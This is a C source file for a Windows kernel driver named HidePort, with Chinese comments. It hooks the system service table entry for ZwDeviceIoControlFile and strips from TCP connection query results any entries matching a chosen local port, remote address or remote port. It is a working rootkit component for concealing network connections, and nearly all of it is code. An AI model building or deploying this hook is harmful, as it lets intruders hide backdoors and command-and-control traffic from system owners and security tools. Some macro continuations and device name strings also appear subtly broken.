#include "ntddk.h"
#include <stdio.h>
#include <tdiinfo.h>
#include <tdistat.h>
#include "netType.h"
#define NT_DEVICE_NAME L"//Device//HidePort"
#define DOS_DEVICE_NAME L"//DosDevices//HidePort"
#pragma pack(1) //SSDT表的结构
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
//------------------------- 函数声明--------------------- [5/22/2008 WinDDK]
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
);
VOID OnUnload(
IN PDRIVER_OBJECT DriverObject
);
//设备通讯
NTSTATUS HideProtDispatchDeviceControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);
//设备打开关闭
NTSTATUS HidePortDispatchCreateClose(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);
// ------------------------------------------------------ [5/22/2008 WinDDK]
NTSYSAPI NTSTATUS NTAPI ZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength );
NTSTATUS NTAPI NewZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength );
typedef NTSTATUS (*ZWDEVICECONTROLIOFILE)(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);
ZWDEVICECONTROLIOFILE OldZwDeviceIoControlFile = NULL;
PMDL m_MDL = NULL;
PVOID *m_Mapped = NULL;
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; //变量名是不能变的,因为是从外部导入
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig) /
_Orig = (PVOID)InterlockedExchange((PLONG)&m_Mapped[SYSCALL_INDEX(_Function)], (LONG)_Hook)
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) /
InterlockedExchange((PLONG)&m_Mapped[SYSCALL_INDEX(_Function)], (LONG)_Hook)
#include "HidePort.h"
#pragma alloc_text(INIT,DriverEntry)
#pragma alloc_text(PAGE,OnUnload)
#pragma alloc_text(PAGE,NewZwDeviceIoControlFile)
#pragma alloc_text(PAGE,HideProtDispatchDeviceControl)
#pragma alloc_text(PAGE,HidePortDispatchCreateClose)
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
UNICODE_STRING dosDeviceName;
UNHOOK_SYSCALL(ZwDeviceIoControlFile,OldZwDeviceIoControlFile,NewZwDeviceIoControlFile);
if(m_MDL){
MmUnmapLockedPages(m_Mapped,m_MDL);
IoFreeMdl(m_MDL);
}
//------删除设备对象------ [5/22/2008 WinDDK]
RtlInitUnicodeString(&dosDeviceName, DOS_DEVICE_NAME);
IoDeleteSymbolicLink(&dosDeviceName);
IoDeleteDevice(DriverObject->DeviceObject);
KdPrint(("驱动卸载完毕.../n"));
}
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
PDEVICE_OBJECT DeviceObject = NULL;
UNICODE_STRING ntDeviceName, dosDeviceName;
BOOLEAN fSymbolicLink = FALSE;
RtlInitUnicodeString(&ntDeviceName, NT_DEVICE_NAME);
//创建设备对象
ntStatus = IoCreateDevice(
DriverObject,
0, // DeviceExtensionSize
&ntDeviceName, // DeviceName
FILE_DEVICE_UNKNOWN, // DeviceType
0, // DeviceCharacteristics
FALSE, // Exclusive
&DeviceObject // [OUT]
);
if (!NT_SUCCESS(ntStatus))
{
KdPrint(("创建设备对象失败:%X/n", ntStatus));
goto __failed;
}
RtlInitUnicodeString(&dosDeviceName, DOS_DEVICE_NAME);
ntStatus = IoCreateSymbolicLink(&dosDeviceName, &ntDeviceName);
if (!NT_SUCCESS(ntStatus)) {
KdPrint(("创建符号链接失败:%X/n", ntStatus));
goto __failed;
}
fSymbolicLink = TRUE;
//指定分发
DriverObject->MajorFunction[IRP_MJ_CREATE] = HidePortDispatchCreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = HidePortDispatchCreateClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = HideProtDispatchDeviceControl;
DriverObject->DriverUnload = OnUnload;
// --------------修改SSDT------------ [5/22/2008 Admin]
m_MDL = MmCreateMdl( NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4 );
if(!m_MDL)
return STATUS_UNSUCCESSFUL;
//非分页内存
MmBuildMdlForNonPagedPool(m_MDL);
m_MDL->MdlFlags = m_MDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
//锁定
m_Mapped = MmMapLockedPages(m_MDL, KernelMode);
HOOK_SYSCALL(ZwDeviceIoControlFile,NewZwDeviceIoControlFile,OldZwDeviceIoControlFile);
KdPrint(("驱动启动成功.../n"));
return ntStatus;
__failed:
if (fSymbolicLink)
IoDeleteSymbolicLink(&dosDeviceName);
if (DeviceObject)
IoDeleteDevice(DeviceObject);
return ntStatus;
}
//设备通讯
NTSTATUS HideProtDispatchDeviceControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
NTSTATUS ntStatus;
PIO_STACK_LOCATION IrpStack = IoGetCurrentIrpStackLocation(Irp);
PVOID lpInBuffer = NULL;
ULONG nInBufferSize, nOutBufferSize, dwIoControlCode;
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
//获得输入缓冲区空间地址
lpInBuffer = Irp->AssociatedIrp.SystemBuffer;
nInBufferSize = IrpStack->Parameters.DeviceIoControl.InputBufferLength;
nOutBufferSize = IrpStack->Parameters.DeviceIoControl.OutputBufferLength;
dwIoControlCode = IrpStack->Parameters.DeviceIoControl.IoControlCode;
switch (dwIoControlCode)
{
case IOCTL_SET_LOCAL_CONTROL:
{
HideType = 1;
memcpy(&LocalPort,lpInBuffer,sizeof(ULONG));
KdPrint(("设置为本地端口模式...%ld/n",LocalPort));
break;
}
case IOCTL_SET_RHOST_CONTROL:
{
HideType = 2;
memcpy(&RemoteHost,lpInBuffer,sizeof(ULONG));
KdPrint(("设置为远程地址模式...0x%x/n",RemoteHost));
break;
}
case IOCTL_SET_RPORT_CONTROL:
{
HideType = 3;
memcpy(&RemotePort,lpInBuffer,sizeof(ULONG));
KdPrint(("设置为远程端口模式...%ld/n",RemotePort));
break;
}
default:
Irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
break;
}
ntStatus = Irp->IoStatus.Status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return ntStatus;
}
//设备打开关闭
NTSTATUS HidePortDispatchCreateClose(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
NTSTATUS ntStatus;
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
ntStatus = Irp->IoStatus.Status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return ntStatus;
}
NTSTATUS NTAPI NewZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
)
{
TCP_REQUEST_QUERY_INFORMATION_EX req;
ULONG NumCount = 0;
ULONG i = 0;
TCPAddrEntry* TcpTable = NULL;
TCPAddrExEntry* TcpTableEx = NULL;
//调用旧函数
NTSTATUS ntStatus = ((ZWDEVICECONTROLIOFILE)OldZwDeviceIoControlFile)(
FileHandle,
Event,
ApcRoutine,
ApcContext,
IoStatusBlock,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength);
//判断是否为查询TCP连接信息
if (IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX)
return ntStatus;
//原函数返回不成功
if (!NT_SUCCESS(ntStatus))
return ntStatus;
//获得输入缓冲区
memcpy(&req,InputBuffer,sizeof(TDIObjectID));
if ( (req.ID.toi_entity.tei_entity == CO_TL_ENTITY)
&&(req.ID.toi_entity.tei_instance == 0)
&&(req.ID.toi_class == INFO_CLASS_PROTOCOL)
&&(req.ID.toi_type == INFO_TYPE_PROVIDER)
) //判断是否为端口查询
{
//普通查询
if (req.ID.toi_id == TCP_MIB_ADDRTABLE_ENTRY_ID)
{
NumCount = IoStatusBlock->Information / sizeof(TCPAddrEntry);
TcpTable = (TCPAddrEntry*)OutputBuffer;
//循环链表,找到并修改需要隐藏的端口
for(i = 0; i < NumCount; i++) {
//模式为本地端口
if (HideType == 1) {
if( ntohs(TcpTable[i].tae_ConnLocalPort) == LocalPort) {
KdPrint(("普通隐藏[本地端口] %d/n", ntohs(TcpTable[i].tae_ConnLocalPort)));
memcpy((TcpTable+i), (TcpTable+i+1), ((NumCount-i-1)*sizeof(TCPAddrEntry)));
NumCount--;
i--;
}
}
//模式为远程地址
if (HideType == 2) {
if (TcpTable[i].tae_ConnRemAddress == RemoteHost) {
KdPrint(("普通隐藏[远程地址] 0x%x/n", TcpTable[i].tae_ConnRemAddress));
memcpy((TcpTable+i), (TcpTable+i+1), ((NumCount-i-1)*sizeof(TCPAddrEntry)));
NumCount--;
i--;
}
}
//模式为远程端口
if (HideType == 3) {
if (ntohs(TcpTable[i].tae_ConnRemPort) == RemotePort) {
KdPrint(("普通隐藏[远程端口] %d/n", ntohs(TcpTable[i].tae_ConnRemPort)));
memcpy((TcpTable+i), (TcpTable+i+1), ((NumCount-i-1)*sizeof(TCPAddrEntry)));
NumCount--;
i--;
}
}
}
IoStatusBlock->Information = NumCount*sizeof(TCPAddrEntry);
}
//带进程PID的查询
if (req.ID.toi_id == TCP_MIB_ADDRTABLE_ENTRY_EX_ID)
{
NumCount = IoStatusBlock->Information / sizeof(TCPAddrExEntry);
TcpTableEx = (TCPAddrExEntry*)OutputBuffer;
//循环链表
for(i = 0; i < NumCount; i++) {
//为本地端口模式
if (HideType == 1) {
if( ntohs(TcpTableEx[i].tae_ConnLocalPort) == LocalPort) {
KdPrint(("扩展隐藏[本地端口] %d/n", ntohs(TcpTableEx[i].tae_ConnLocalPort)));
memcpy((TcpTableEx+i), (TcpTableEx+i+1), ((NumCount-i-1)*sizeof(TCPAddrExEntry)));
NumCount--;
i--;
}
}
//当前为远程地址模式
if (HideType == 2) {
if (TcpTableEx[i].tae_ConnRemAddress == RemoteHost){
KdPrint(("扩展隐藏[远程地址] 0x%x/n", TcpTableEx[i].tae_ConnRemAddress));
memcpy((TcpTableEx+i), (TcpTableEx+i+1), ((NumCount-i-1)*sizeof(TCPAddrExEntry)));
NumCount--;
i--;
}
}
//远程端口模式
if (HideType == 3) {
if ( ntohs(TcpTableEx[i].tae_ConnRemPort) == RemotePort) {
KdPrint(("扩展隐藏[远程端口] %d/n", ntohs(TcpTableEx[i].tae_ConnRemPort)));
memcpy((TcpTableEx+i), (TcpTableEx+i+1), ((NumCount-i-1)*sizeof(TCPAddrExEntry)));
NumCount--;
i--;
}
}
}
IoStatusBlock->Information = NumCount*sizeof(TCPAddrExEntry);
}
}
return ntStatus;
}